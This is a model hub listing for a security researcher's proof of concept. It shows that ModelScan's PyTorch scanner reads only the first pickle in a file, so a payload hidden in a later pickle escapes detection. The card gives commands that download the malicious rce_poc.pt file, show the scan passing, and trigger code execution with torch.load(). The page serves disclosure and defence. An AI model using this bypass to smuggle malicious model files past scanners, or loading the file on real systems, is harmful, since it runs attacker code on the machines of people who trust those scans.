Downloads · 30 days
0
pytorch-multipickle-bypass-poc
xiaoyaoes/pytorch-multipickle-bypass-poc
pytorch-multipickle-bypass-poc is a machine learning model from xiaoyaoes. Use it for the machine learning task on the model card, and read the license before you ship it in a product.
ModelScan's PyTorchUnsafeOpScan uses multiplepickles=False, causing it to scan only pickle 1 (magic number). The malicious payload in pickle 4 is completely invisible to the scanner. Even already-blocked modules like…
Access
Public
Updated Jul 5, 2026
Repo size
637 B
Likes
0
Public
Repo makeup
Click a slice to open those files.
Other1.5 KB · 62%
At a glance
- Access
- Public
- Created
- Jul 5, 2026
- Updated
- Jul 5, 2026
- SHA
- 33731707
Model card
From the Hugging Face model README
PyTorch Multi-Pickle Scanner Bypass PoC
ModelScan's PyTorchUnsafeOpScan uses multiple_pickles=False, causing it to scan only pickle 1 (magic number). The malicious payload in pickle 4 is completely invisible to the scanner. Even already-blocked modules like os.system work.
Verification
pip install modelscan
wget https://huggingface.co/xiaoyaoes/pytorch-multipickle-bypass-poc/resolve/main/rce_poc.pt
# ModelScan: "No issues found!"
modelscan scan -p rce_poc.pt
# torch.load(): RCE triggered
python3 -c "import torch; torch.load('rce_poc.pt')"
File: rce_poc.pt (213 bytes)
Author: Security researcher
- Created
- Jul 5, 2026
- Updated
- Jul 5, 2026